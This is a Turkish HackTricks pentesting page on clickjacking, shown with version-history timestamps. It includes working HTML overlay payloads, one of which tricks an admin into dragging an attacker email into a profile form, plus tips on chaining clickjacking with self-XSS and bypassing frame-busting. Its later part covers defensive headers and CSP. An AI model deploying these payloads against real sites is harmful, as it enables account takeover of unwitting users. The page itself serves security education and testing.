hacktricks/pentesting-web/clickjacking.md

226 lines
12 KiB
Markdown
Raw Normal View History

2022-06-06 22:28:05 +00:00
# Clickjacking
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları:
2023-12-31 01:25:17 +00:00
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubumuza**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
2024-02-10 18:14:16 +00:00
Bugün Erişim Alın:
2022-04-28 16:01:33 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
2022-06-06 22:28:05 +00:00
2024-02-10 18:14:16 +00:00
## Clickjacking Nedir
Clickjacking saldırısında, bir **kullanıcı** bir web sayfasındaki **görünmez** veya farklı bir öğe olarak **kamuflaj yapmış** bir **öğeyi tıklamaya kandırılır**. Bu manipülasyon, kullanıcı için istenmeyen sonuçlara yol açabilir, örneğin kötü amaçlı yazılım indirme, kötü amaçlı web sayfalarına yönlendirme, kimlik bilgilerinin veya hassas bilgilerin sağlanması, para transferleri veya ürünlerin online satın alınması.
2024-02-06 03:10:38 +00:00
2024-02-10 18:14:16 +00:00
### Formları Önceden Doldurma Hilesi
Bazen bir sayfayı yüklerken GET parametrelerini kullanarak bir formun alanlarının değerini **doldurmak mümkün olabilir**. Bir saldırgan, bir formu keyfi verilerle doldurmak ve kullanıcının düğmeye basmasını sağlamak için clickjacking yükünü gönderebilir.
### Drag\&Drop ile Formu Doldurma
2020-10-13 11:29:54 +00:00
Kullanıcının bir formu **doldurmasını** istiyorsanız ancak doğrudan belirli bilgileri yazmasını istemiyorsanız (örneğin, bildiğiniz e-posta veya belirli bir şifre gibi), sadece sizin kontrol ettiğiniz verileri yazacak bir şeyi **sürükleyip bırakmasını** isteyebilirsiniz, [**bu örnekte olduğu gibi**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Temel Yük
```markup
<style>
2024-02-10 18:14:16 +00:00
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Çok Adımlı Yükleme
```markup
<style>
2024-02-10 18:14:16 +00:00
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Sürükle ve Bırak + Tıkla yükü
2020-10-13 11:29:54 +00:00
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
2022-06-06 22:28:05 +00:00
### XSS + Clickjacking
Eğer bir **XSS saldırısı tespit ettiniz ve bu saldırının tetiklenmesi için bir kullanıcının tıklaması gerekiyorsa** ve sayfa **clickjacking'e karşı savunmasız** ise, bunu kullanarak kullanıcıyı düğmeye/linke tıklamaya kandırabilirsiniz.\
2024-02-10 18:14:16 +00:00
Örnek:\
_Bir hesabın bazı özel detaylarında bir **self XSS** buldunuz (detaylar **yalnızca sizin tarafınızdan ayarlanabilir ve okunabilir**). Bu detayları ayarlamak için **form** içeren sayfa **Clickjacking**'e karşı savunmasız ve GET parametreleri ile **formu önceden doldurabilirsiniz**._\
\_\_Bir saldırgan, o sayfaya **Clickjacking** saldırısı hazırlayabilir, **formu XSS yüküyle önceden doldurarak** ve **kullanıcıyı formu göndermeye kandırarak**. Böylece, **form gönderildiğinde** ve değerler değiştirildiğinde, **kullanıcı XSS'i çalıştıracaktır**.
## Clickjacking'i Azaltma Stratejileri
2024-02-10 18:14:16 +00:00
### İstemci Tarafı Savunmaları
İstemci tarafında çalıştırılan betikler, Clickjacking'i önlemek için aksiyonlar gerçekleştirebilir:
* Uygulama penceresinin ana veya üst pencere olmasını sağlamak.
* Tüm çerçeveleri görünür hale getirmek.
* Görünmez çerçevelere tıklamayı engellemek.
* Kullanıcıları potansiyel Clickjacking girişimleri konusunda tespit etmek ve uyarı vermek.
Ancak, bu çerçeve-kırma betikleri atlatılabilir:
* **Tarayıcıların Güvenlik Ayarları:** Bazı tarayıcılar, güvenlik ayarlarına veya JavaScript desteğinin eksikliğine dayanarak bu betikleri engelleyebilir.
* **HTML5 iframe `sandbox` Özniteliği:** Bir saldırgan, `allow-forms` veya `allow-scripts` değerleri ile `allow-top-navigation` olmadan `sandbox` özniteliğini ayarlayarak çerçeve kırıcı betikleri etkisiz hale getirebilir. Bu, iframe'ın üst pencere olup olmadığını doğrulamasını engeller, örn.
2024-02-06 03:10:38 +00:00
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
2024-02-10 18:14:16 +00:00
### Sunucu Tarafı Savunmaları
2024-02-06 03:10:38 +00:00
#### X-Frame-Options
**`X-Frame-Options` HTTP yanıt başlığı**, bir sayfanın `<frame>` veya `<iframe>` içinde oluşturulmasının meşruiyeti hakkında tarayıcılara bilgi vererek Clickjacking'i önlemeye yardımcı olur:
- `X-Frame-Options: deny` - Hiçbir etki alanı içeriği çerçeveliyemez.
- `X-Frame-Options: sameorigin` - Yalnızca mevcut site içeriği çerçeveliyebilir.
- `X-Frame-Options: allow-from https://trusted.com` - Yalnızca belirtilen 'uri' sayfayı çerçeveliyebilir.
- Sınırlamaları dikkate alın: Tarayıcı bu direktifi desteklemiyorsa çalışmayabilir. Bazı tarayıcılar CSP frame-ancestors direktifini tercih eder.
#### İçerik Güvenlik Politikası (CSP) frame-ancestors direktifi
**CSP'deki `frame-ancestors` direktifi**, Clickjacking koruması için önerilen yöntemdir:
- `frame-ancestors 'none'` - `X-Frame-Options: deny` ile benzer.
- `frame-ancestors 'self'` - `X-Frame-Options: sameorigin` ile benzer.
- `frame-ancestors trusted.com` - `X-Frame-Options: allow-from` ile benzer.
Örneğin, aşağıdaki CSP yalnızca aynı etki alanından çerçevelenmeyi sağlar:
`Content-Security-Policy: frame-ancestors 'self';`
Daha fazla ayrıntı ve karmaşık örnekler [frame-ancestors CSP belgelerinde](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) ve [Mozilla'nın CSP frame-ancestors belgelerinde](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors) bulunabilir.
2024-02-06 03:10:38 +00:00
2024-02-10 18:14:16 +00:00
### İçerik Güvenlik Politikası (CSP) ile `child-src` ve `frame-src`
2024-02-06 03:10:38 +00:00
**İçerik Güvenlik Politikası (CSP)**, tarayıcının hangi kaynakların içeriği yüklemesine izin vermesi gerektiğini belirterek Clickjacking ve diğer kod enjeksiyon saldırılarını önlemede yardımcı olan bir güvenlik önlemidir.
2024-02-06 03:10:38 +00:00
#### `frame-src` Direktifi
2024-02-10 18:14:16 +00:00
- Çerçeveler için geçerli kaynakları tanımlar.
- `default-src` direktifinden daha spesifiktir.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
Bu politika, aynı kökten gelen çerçevelere (self) ve https://trusted-website.com'a izin verir.
2024-02-06 03:10:38 +00:00
2024-02-10 18:14:16 +00:00
#### `child-src` Yönergesi
* Web işçileri ve çerçeveler için geçerli kaynakları belirlemek için CSP seviye 2'de tanıtıldı.
* frame-src ve worker-src için bir yedek olarak işlev görür.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
Bu politika, aynı kökten (self) ve https://trusted-website.com'dan çerçevelere ve işçilere izin verir.
2024-02-06 03:10:38 +00:00
2024-02-10 18:14:16 +00:00
**Kullanım Notları:**
* Kullanım Dışı: child-src, frame-src ve worker-src lehine kademeli olarak kaldırılmaktadır.
* Yedek Davranış: frame-src mevcut değilse, çerçeveler için yedek olarak child-src kullanılır. Her ikisi de mevcut değilse, default-src kullanılır.
* Katı Kaynak Tanımı: Sömürüyü önlemek için direktiflere yalnızca güvenilir kaynakları ekleyin.
2024-02-06 03:10:38 +00:00
#### JavaScript Çerçeve-Kırma Komut Dosyaları
2024-02-06 03:10:38 +00:00
Tamamen güvenilir olmasa da, JavaScript tabanlı çerçeve-kırma komut dosyaları, bir web sayfasının çerçevelenmesini engellemek için kullanılabilir. Örnek:
2024-02-06 03:10:38 +00:00
```javascript
if (top !== self) {
2024-02-10 18:14:16 +00:00
top.location = self.location;
2024-02-06 03:10:38 +00:00
}
```
#### Anti-CSRF Tokenlarını Kullanma
* **Token Doğrulama:** Web uygulamalarında anti-CSRF tokenlarını kullanarak, durum değiştiren isteklerin kullanıcı tarafından kasıtlı olarak yapıldığından emin olun ve Clickjacking sayfası aracılığıyla yapılmadığından emin olun.
2024-02-10 18:14:16 +00:00
## Referanslar
2022-04-05 22:24:52 +00:00
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\
Bugün Erişim Edinin:
2022-06-06 22:28:05 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks'i desteklemenin diğer yolları:
2023-12-31 01:25:17 +00:00
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
2022-04-28 16:01:33 +00:00
</details>